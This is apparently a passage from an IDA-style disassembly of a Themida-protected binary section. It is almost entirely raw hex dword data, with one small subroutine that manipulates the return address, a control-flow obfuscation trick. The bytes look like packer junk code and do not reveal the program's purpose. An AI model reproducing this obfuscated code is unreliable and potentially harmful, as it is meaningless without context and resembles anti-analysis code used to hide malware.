		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 4977C352h
		dd 0A79412FBh, 0DC59D29h, 958B0610h, 61009F5h, 0C95BD8Bh
		dd 0C2830610h, 5089F504h, 57006A20h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0F98B1D00h
		dd 0D7C2858Dh, 6A0613h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 6066CFC3h, 0EDB9244Fh, 8689517Ch
		dd 0B8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	50C35242h, 1F90B481h, 0BD8B26E6h, 61016DDh, 6A72D380h
		dd 9BD8900h, 0FF061014h, 13C26DB5h, 0F99D8B06h,	6606101Fh
		dd 4CC7DF81h, 49595FFh,	6A0610h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0C272D4C3h, 0F50DA8Ah
		dd 48Fh, 37BB6600h, 243489E3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 4CC35141h, 1B06C538h, 0FF67B48Eh
		dd 13C26DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8E0FAD68h, 6, 14B19D89h, 0B70F0610h
		dd 2D95FFFAh, 6A061016h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0B590C356h,	52F46208h
		dd 51BD83AFh, 61013h, 81840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9C0929C3h
		dd 6AF1E5E1h, 0B98D89C0h, 0F906102Ah, 1F8F0F50h, 50000000h
		dd 880F52h, 0F000000h, 0DE831h,	0F6490000h, 0E0963092h
		dd 0FBEEFFAEh, 5BA4F279h, 3489585Ah, 7E86024h, 8E000000h
		dd 86E67FCDh, 8589B914h, 610168Dh, 14E959h, 9FF90000h
		dd 5EE0A6E6h, 0E05277BEh, 0A575664Ah, 37E36325h, 0FF61D3F8h
		dd 13C26DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0D7DE8DF6h, 48E0F8Fh, 66000000h
		dd 2B74DEBFh, 101D7DBDh, 1995FF06h, 8B06100Ch, 1019DD9Dh
		dd 0FFD7B706h, 13C26DB5h, 95FFF806h, 6101621h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 87C35646h, 686647h
		dd 25843EDAh, 5E92Ch, 2EC50000h, 83647F5Bh, 100F89BDh
		dd 840F0206h, 35h, 8D8D8957h, 5B061021h, 10C5858Bh, 0FE90610h
		dd 6B000000h, 0E25A756Dh, 3E1A466Dh, 6EA6BCC4h,	0C6630Eh
		dd 79953100h, 0E9061004h, 5, 0F6C7C938h, 2585C750h, 6102Ah
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 6015C353h, 0FFC98064h,	0DA8B6653h
		dd 0CE8h, 0CB27A600h, 7D26FB7Dh, 3EDB50E8h, 0B1B5BB1Bh
; ---------------------------------------------------------------------------
		xchg	dh, [edi+ebx*2]


loc_59BB1B:				; CODE XREF: Themida_:0059B69Bj
		jmp	near ptr dword_59AE10+9
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_59BB2B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BB2B	proc near		; CODE XREF: Themida_:0059BB23p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_59BB2B	endp

; ---------------------------------------------------------------------------
		db 8Eh
		dd 0CDC98ED6h, 880F5080h, 2, 605B20B7h,	0F13BBB66h, 8B61D18Bh
		dd 51006AC1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 607F973Dh, 46D98166h, 0C081665Fh, 8D616FA9h
		dd 1013B985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8166CD21h, 907467C7h, 5050EAB7h
		dd 0FFBF6652h, 0E9310F07h, 13h,	0F34F050Dh, 438CE125h
		dd 9A44966Ch, 5AECBD93h, 5ACB15D3h, 6A9058h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 733E83C3h
		dd 0B5314694h, 6100AF9h, 850F006Ah, 6, 5B19D89h, 6A0610h
		dd 858D48B7h, 615091Eh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 81C35545h, 92B1042Ch,	0C0834F71h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 6D31D76h, 8A46DD89h,	0DE983h, 0D3950000h, 6135DDDEh
		dd 6FA28D72h, 50C1A11Bh, 89FE8B66h, 8B662404h, 8B006AD8h
		dd 1011F5BDh, 89006A06h, 103141B5h, 1995FF06h, 6A06101Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 855AC353h, 31A4DD87h, 1006B1B5h, 699D2B06h
		dd 8D06102Ah, 13AFD88Dh, 8B665606h, 0D1FF5BD8h,	12E9h
		dd 1014AF00h, 610F6BCCh, 404E5404h, 5FB6C5A8h, 834793E4h
		dd 102209BDh, 850F0106h, 0A5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0A2C35141h,	26AD34Ch, 1C1B529h
		dd 0E8500610h, 13h, 11633322h, 441FFEF1h, 0E58E7A9Dh, 2399BE28h
		dd 0BF7B769Eh, 42207A98h, 2404895Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 87C35040h, 0F143895h, 0BB66DABFh
		dd 0BB66A11Dh, 95FF535Fh, 6100495h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 21C35040h, 958C3345h, 7E9FFh
		dd 42110000h, 78C933F0h, 0D38E9B3h, 0E80000h, 5D000000h
		dd 928ED81h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 75D543C3h, 660C54D2h, 9589D88Bh
		dd 6102361h, 99B6858Dh,	9D890613h, 6100BD9h, 0BAB86090h
		dd 666004B9h, 5061C28Bh, 21A46CBBh, 6A9031h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD337DC3h
		dd 61022EDh, 35FF64h, 0F5000000h, 258964h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0D08FC357h, 5F0B1F8Bh, 0A9CF9D63h, 0EAD9D8Bh, 85FF0610h
		dd 6101419h, 0BE9h, 0F1DB9900h,	8ED1CD00h, 0FDFEDFD2h
		dd 45DB529h, 0FF6A0610h, 10E856h, 63A60000h, 0BB6DA91Ah
		dd 0DEA6ECA9h, 68DB6A3Ah, 0BD89323Fh, 61004DDh,	0B5FF5B5Bh
		dd 6100EA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0F3C35040h, 95FFB24Ch, 6100615h, 136E9h, 11E900h
		dd 0B62A0000h, 0AC77C816h, 4FC51EDh, 0A7AFD601h, 0B0BE3BBBh
		dd 5DB58900h, 0E6061008h, 3D9D3170h, 0E4061009h, 0C3816671h
		dd 613C5568h, 101830Fh,	85890000h, 6102A99h, 0BAC8B60Fh
		dd 6, 12E9h, 6A46BD00h,	0C65F885Fh, 0DD5CF6ABh,	0E49939BBh
		dd 8B3B06E5h, 9E9C1h, 0D4A10000h, 0B6F15927h, 0C10D83A3h
		dd 0BD8B04E8h, 6100AADh, 60E2F766h, 820FFA8Bh, 6, 10919D01h
		dd 2B610610h, 0A1BD8BC8h, 8B061005h, 599D8BD1h,	0E9061005h
		dd 9Bh,	2369B529h, 89600610h, 102D9D9Dh, 77F18106h, 615EB139h
		dd 4C50858Bh, 10E94755h, 6D000000h, 0A65AF135h,	0B543232Ch
		dd 0F84B4339h, 837AE807h, 858907C0h, 610221Dh, 8900C083h
		dd 10079DB5h, 0FD03B06h, 683h, 4CE9F800h, 8B000000h, 0FFFFFF8Dh
		dd 35BD8BFFh, 83061033h, 840F01E1h, 37h, 68D0Fh, 9D8B0000h
		dd 6102309h, 0FFFFA583h, 0E8FEFFFFh, 0Dh, 37BFF599h, 0E50DBEB4h
		dd 0DB3F07D5h, 95895FEFh, 47554C50h, 7458589h, 0E90610h
		dd 8D000000h, 147ECCB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0FD51FC2Ch, 7A25624Bh
		dd 2A65BD89h, 6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0BBC35747h, 0F0EBDD5h, 68Ch, 56CB8100h
		dd 0FF64E06Ch, 1031C995h, 359D8B06h, 0B9061021h, 0F37h
		dd 11A1BD8Bh, 0E1830610h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 3273BC9Fh
		dd 11929170h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 627F69E7h, 4FBAB51h, 0E3816656h
		dd 0B8EA39h, 0BB000000h, 4516BEDh, 0BD8BD22Bh, 6100DA1h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 31C35343h, 219A8212h, 0BB4357C0h
		dd 2F3B911Dh, 6860Fh, 0BD8B0000h, 6102161h, 880Dh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0FE8BC144h, 9F5958Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8D8BE8C3h, 6102319h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E3C35141h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0B9605818h
		dd 1F24790Ch, 1DC98509h, 89610610h, 102E7185h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 31A16BFEh, 34B337D4h, 10E8697Bh, 0A5000000h,	45B67BCBh
		dd 282EAC2h, 53E55BDCh,	8B9847D9h, 101425BDh, 0BD835B06h
		dd 6101E29h, 47840F00h,	0F000000h, 8Dh,	0B800h,	0DE8B0000h
		dd 2871BD8Bh, 8D8D0610h, 6104E85h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0DC35343h, 9DE983DFh, 1425BD8Bh
		dd 0E1FF0610h, 1C61BD89h, 0BD830610h, 61022C1h,	2E840F00h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 8898C353h, 5880Fh, 0ADBB0000h
		dd 830AAB0Dh, 1022C1BDh, 840F0106h, 414h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 0BC35646h, 6810Fh
		dd 0BD8B0000h, 61000B9h, 22C1BD83h, 0F030610h, 3A986h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0D73758B9h, 0B3217F3Eh, 0E38169FEh, 24982874h
		dd 6A60F98Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0D070C352h, 7DFDFBE2h,	48EFA20Dh
		dd 2199BD29h, 0C3810610h, 0E45CE2Fh, 6AD98C66h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0D3F1C351h, 0E8CCE47Ah, 0Bh,	85E9BBADh, 0EBF7F614h
		dd 29D7381Eh, 102F89B5h, 0E1805F06h, 59958904h,	0A061021h
		dd 0ED840FC9h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0E27AC355h, 9A8DFA4Dh, 0B76D2DE2h, 2185858Bh, 6A0610h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 81407C3h, 6D09BB66h,	11FD8533h, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 72C755C3h
		dd 9CAB34E3h, 67D9D8Bh,	60500610h, 8961D48Ah, 0E7802404h
		dd 0F006A15h, 583h, 8741BB00h, 5681196h, 0F5652B4h, 280h
		dd 8192B300h, 0B7FA2434h, 9D31564Dh, 6101079h, 5D595FFh
		dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 89A7EAC3h, 13C26D85h, 49858906h, 0E9061012h
		dd 1D2h, 21359D0Bh, 95890610h, 6100229h, 0C265858Bh, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 7F819DC3h, 0FE8B660Ah, 1800C7h, 8D890000h, 6101F4Dh
		dd 6820Fh, 0DB810000h, 725E64D4h, 0C269B58Bh, 0BD890613h
		dd 6102809h, 0E25858Bh,	6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 11271CC3h, 852964EDh
		dd 6102195h, 858B0689h,	6102185h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 65C35242h, 810FA009h, 6, 10819589h
		dd 46890610h, 68B0F04h,	89000000h, 100A39B5h, 0F88B5006h
		dd 31243489h, 1016F1BDh, 65B5FF06h, 8B0613C2h, 101275BDh
		dd 4E806h, 3FF0000h, 0FA8B001Fh, 0DE850h, 0D9B90000h, 40C783FDh
		dd 5B8E18ABh, 0E90FDB1Fh, 0Ah, 0EAF16588h, 0FB90901Fh
		dd 8B5BB04Bh, 0BF042444h, 15F241Eh, 0E0BB008Bh,	892744A6h
		dd 58042444h, 0BF0F68B7h, 6D858DDBh, 0B0613C2h,	101D3DBDh
		dd 66605006h, 14E8D08Bh, 0E1000000h, 0CC409266h, 85E3F93Bh
		dd 0A18C1FB6h, 0E3C4838Ch, 0E86E1BA6h, 0Eh, 0EB196865h
		dd 5C0A3EE8h, 0D8026691h, 5E5EB3A9h, 24048961h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 59C35242h, 0D595FFF8h
		dd 6A061005h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 763BC356h, 6F53139Eh, 0E860B0E2h
		dd 0Dh,	0F9B697AEh, 0F330F5D0h,	15C13B34h, 21958B01h, 5F06100Eh
		dd 27E9B509h, 66610610h, 8A61D88Bh, 0C185C7DCh,	3061022h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 94EDC350h, 0D729D728h,	972A530h
		dd 83FAB70Fh, 13C26DBDh, 840F0006h, 0Ah, 1EE9D98Bh, 80000000h
		dd 3050E5F3h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 518D89C0h, 2B061005h, 100F259Dh, 0C1BD8306h
		dd 3061022h, 418850Fh, 8B600000h, 100899BDh, 0BD836106h
		dd 613C26Dh, 3840F00h, 6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 6A35C356h
		dd 95F859ECh, 0E8FC12B3h, 7, 6FB05F22h,	66D32FF9h, 8B5BD88Bh
		dd 6DB5FFDEh, 0E90613C2h, 0Dh, 71DE9F61h, 0BB154343h, 0D2E9FB1h
		dd 0A595FFD5h, 6606102Fh, 8BE905BFh, 13C261B5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 685B0103h, 106C7BFh,	0F000100h, 68Eh, 39BD0100h, 96061028h
		dd 0E850DA8Bh, 14h, 9663C294h, 8E795FE1h, 91EBF02Ah, 0D0D8B31Bh
		dd 0ABE8EEDAh, 6A965Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 1A1DBC3h, 8BAD9D49h, 1000C99Dh
		dd 0D1958906h, 0FF06101Fh, 13C26DB5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 8B336F8Ah, 102A19BDh, 5DBD0B06h, 0FF06102Ah,	10122595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 25A7499Bh, 0B58B30EDh, 613C261h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B4C35343h, 6D652C10h
		dd 8089FFBFh, 0BD29B4EBh, 61022F5h, 21D1858Bh, 21BF0610h
		dd 812486F1h, 0E66764DBh, 0C486892Fh, 0FC000000h, 88D0Fh
		dd 8B560000h, 10225D9Dh, 958B5F06h, 61009F5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 9FC35545h, 0E9FFD3E4h
		dd 0Eh,	57006D8h, 49FD6FF4h, 12E17381h,	890F4D52h, 6, 131DBD8Bh
		dd 0C2830610h, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0ECCC0393h, 73609ADBh
		dd 0D9BF0F16h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 2E2AC356h, 2B9C2BB2h
		dd 100975BDh, 36C38106h, 8D25448Fh, 13D7C285h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 9DF208A5h, 3736DA08h, 0B8868975h, 0BB000000h, 43E8FDF9h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 1DC256C3h, 0FFC79C47h, 13C26DB5h,	95FFF806h
		dd 6100495h, 30D19D8Bh,	0B7500610h, 24348910h, 0EB816653h
		dd 0FF5BEC0Bh, 13C26DB5h, 2D95FF06h, 6A061016h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0F941C355h, 4254A8B9h, 21BD8B55h, 8306101Bh,	101351BDh
		dd 840F0006h, 3Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0EBC35545h, 0BF21D3A6h, 96660983h, 8840Fh
		dd 50530000h, 5A310F52h, 53505B58h, 2830Fh, 61600000h
		dd 0B5FF965Bh, 613C26Dh, 0A758589h, 95FF0610h, 6100C19h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 8AC35141h
		dd 66AC205Eh, 0FF25C7BFh, 13C26DB5h, 7DB50106h,	8B061023h
		dd 101D85BDh, 2195FF06h, 33061016h, 102D69BDh, 89BD8306h
		dd 206100Fh, 5E840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0E07850C3h, 96A63430h
		dd 63D381CEh, 8B0B8196h, 1010C585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 4893B75Dh
		dd 0C6F81Bh, 0A9BD2B00h, 0BF06100Ch, 5D5C9127h,	2A2585C7h
		dd 610h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 140424h, 51410000h, 9BE90CC3h, 8BFFFFF3h, 4C14BFC1h
		dd 858D4C60h, 61013B9h,	0E89064B7h, 13h, 0E6104E24h, 0BAFF1AC1h
		dd 4EA70CCFh, 0CCB41DF1h, 0BBCBD04Fh, 47D866A8h, 840F505Bh
		dd 5, 0D88B6652h, 890F905Bh, 6,	18D99D8Bh, 6A0610h, 6AF88Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F7C35747h
		dd 244E307Ah, 89E4EF8Eh, 101B058Dh, 5E858D06h, 0E9061518h
		dd 0Eh,	0A9942C31h, 0E4570B97h,	365620Bh, 0C0836B7Eh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0B1C93A87h, 0F020F2BDh, 6650F941h, 489F98Bh,	8E924h
		dd 0D0610000h, 4F34D70Dh, 6A1AA8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 2CC35141h, 7073DA5Fh, 7C89D708h
		dd 0FE4FABBh, 60006A53h, 21D8529h, 81600610h, 0DF3772D6h
		dd 699D891Ch, 61061004h, 1995FF61h, 6A06101Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0DE43C353h, 4117B68Dh, 80F88B88h, 8D8D4EC7h,	613AFD8h
		dd 0D1B589h, 0D1FF0610h, 5840Fh, 81660000h, 0BB7812EFh
		dd 4AC10838h, 2209BD83h, 0F010610h, 0A485h, 0F9B70F00h
		dd 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 3E3A4AC3h, 609071B3h, 0B832BF66h,	0CB5B3DBBh
		dd 6050610Ch, 56BE5250h, 0F79C1BDh, 5A616031h, 4B77BA58h
		dd 90612427h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	39C35747h, 67A3BA6Bh, 0BAB2107h, 1009A99Dh, 0F98B6606h
		dd 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 7C10A4C3h, 0ADA52D6Ah, 236AFAD8h
		dd 10284DBDh, 0DEFE906h, 0E80000h, 5D000000h, 1868ED81h
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 5EBF7CC3h, 817BED82h, 42C5FCD3h, 0B6858D7Eh
		dd 6A061399h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 594CC357h, 0B03EEE98h,	31AE68F4h
		dd 102F0985h, 19D8B06h,	5006102Dh, 6187B260h, 51240489h
		dd 0CE95Bh, 66560000h, 2C8E2309h, 4061F34Bh, 0FF64DEC5h
		dd 35h,	2DBD8900h, 0E906100Fh, 10h, 0B6ADA348h,	509BDA77h
		dd 18F5C8F4h, 0CEB84DA8h, 258964h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 56DAC357h, 0E5C42D23h, 1375BB26h, 85FF6AB0h,	6101419h
		dd 22859D8Bh, 0FF6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0EDC35747h, 0DE8A1D9Bh, 8A1B5FFh, 0F3800610h
		dd 1595FF00h, 0E9061006h, 0E2h,	0B014B7h, 759BD8Bh, 70E60610h
		dd 2D519D29h, 71E40610h, 8ACBF66h, 830F613Ch, 0C2h, 0FFABF0Fh
		dd 7E8C8B6h, 0E6000000h, 0A5CF4993h, 9D098377h,	6100DA9h
		dd 6BA5Fh, 8B660000h, 60C18BF8h, 1935B589h, 10E80610h
		dd 0B8000000h, 103A9CACh, 35166DB2h, 3AFE92ECh,	662E4F8Ah
		dd 350D081h, 0E8C1615Eh, 66F98B04h, 9D89E2F7h, 6100825h
		dd 91BBC82Bh, 8B431CC1h, 0FE8B66D1h, 5DE9h, 0DBB70F00h
		dd 4E49858Bh, 9D2B4400h, 61009B1h, 6607C083h, 83BC2EBBh
		dd 0B70F00C0h, 0FD03BDBh, 0B83h, 34E900h, 9D8B0000h, 6103161h
		dd 0FFFF8D8Bh, 0B529FFFFh, 61001C9h, 0F01E183h,	1984h
		dd 83EDB300h, 0FFFFFFA5h, 0BB66FEFFh, 9589BE52h, 44004E49h
		dd 0E9FCh, 0B58D0000h, 6148E03h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 89C35747h, 68B49969h, 0CE9186Eh
		dd 7A000000h, 81C01BF0h, 17F02684h, 6AB00DCBh, 3DBD8B00h
		dd 0FF06101Dh, 1031C995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0DCB932C7h
		dd 6A00000Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0D446C351h, 0CBD3F0A2h, 398B3AB9h
		dd 0BE8h, 3DE6F400h, 688D308Fh,	6BB72571h, 12418529h, 835B0610h
		dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 8BAAEC3h,	0CF816681h, 0E8FCBD96h,	6, 0A829EEDDh
		dd 12E84864h, 51000000h, 749A87ACh, 50935FFBh, 77204F1Ch
		dd 7DE24A94h, 0F99D8B4Ch, 5B061018h, 89C02B5Fh,	10311D95h
		dd 0BA06h, 0B70F0000h, 0C233ADDAh, 0D003E8D1h, 7504E983h
		dd 53006AF4h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 18CBE417h, 5F5F5756h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0D4C35545h,	67384E7Ch, 8F0F5D82h
		dd 6, 0A219D89h, 9D8B0610h, 610142Dh, 880Dh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B4DD54Bh, 1009F595h, 0D9B70F06h, 0ECF8166h,	198D8BF8h
		dd 6A061023h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0DDEAC356h, 0D52A9569h, 7BE5B396h
		dd 66F8E780h, 508E8ABBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 2D967712h, 9DC549D9h, 6870FF1h, 89000000h
		dd 1001C185h, 0DE806h, 69DC0000h, 0B9FD9F96h, 7A56E3F4h
		dd 89DA1989h, 100DC59Dh, 89605B06h, 102A9995h, 0C1953306h
		dd 61061012h, 1E29BD83h, 0F000610h, 8784h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0BD8979C1h, 6101FADh, 8E9h, 56392E00h, 53E2F800h, 0B82Ch
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0DA8BDCC3h, 8D8DDF8Bh, 6104E85h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3C35747h, 315048C2h
		dd 100E959Dh, 0BFE1FF06h, 392329Ah, 22C1BD83h, 0F000610h
		dd 45084h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 4E2BB4D2h, 22C1BD83h, 0F010610h
		dd 43F84h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1804h, 0C3514100h, 7A1C2D6Bh, 42BB66F7h, 15840FAEh
		dd 0E8000000h, 0Fh, 0F8FBBF09h,	405679D7h, 922D9960h, 5F2DE595h
		dd 22C1BD83h, 0F030610h, 3BD86h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 664C6E54h
		dd 0BDC4F781h, 52006A60h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0EA1618E3h, 0B9BD8B9Eh
		dd 6606101Bh, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 662042C3h, 0A9BF381h, 4E180F8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9BC35646h
		dd 0F711B1Fh, 0C90AF9BFh, 0FF840Fh, 8D890000h, 6102079h
		dd 2185858Bh, 0E9570610h, 10h, 66D0B441h, 3CF2E1D3h, 0E33B2EE5h
		dd 6B7C9FCFh, 0FD85335Bh, 81061011h, 883BFED3h,	0BB66503Fh
		dd 489C5E9h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 5800FFEh,	0BB000000h, 4CFCCB87h
		dd 9D8BFA8Ah, 6101AE9h,	0CEBF006Ah, 68577124h, 500A4246h
		dd 5526A6BFh, 2434812Ch, 501541B9h, 5830Fh, 81660000h
		dd 0FF481ACFh
		dd 1005D595h, 0FD9D8B06h, 89061010h, 13C26D85h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0ECF46404h, 0E8058C43h, 8A0F4E88h, 4, 0EC54BB66h, 1D8E9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 658D891Ch, 0F061014h, 88Eh, 2800F00h, 8A000000h
		dd 65858BFAh, 6A0613C2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 2B96C352h, 8B662450h
		dd 0C7F98ADFh, 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 5CEB81E0h, 8B29D5B7h
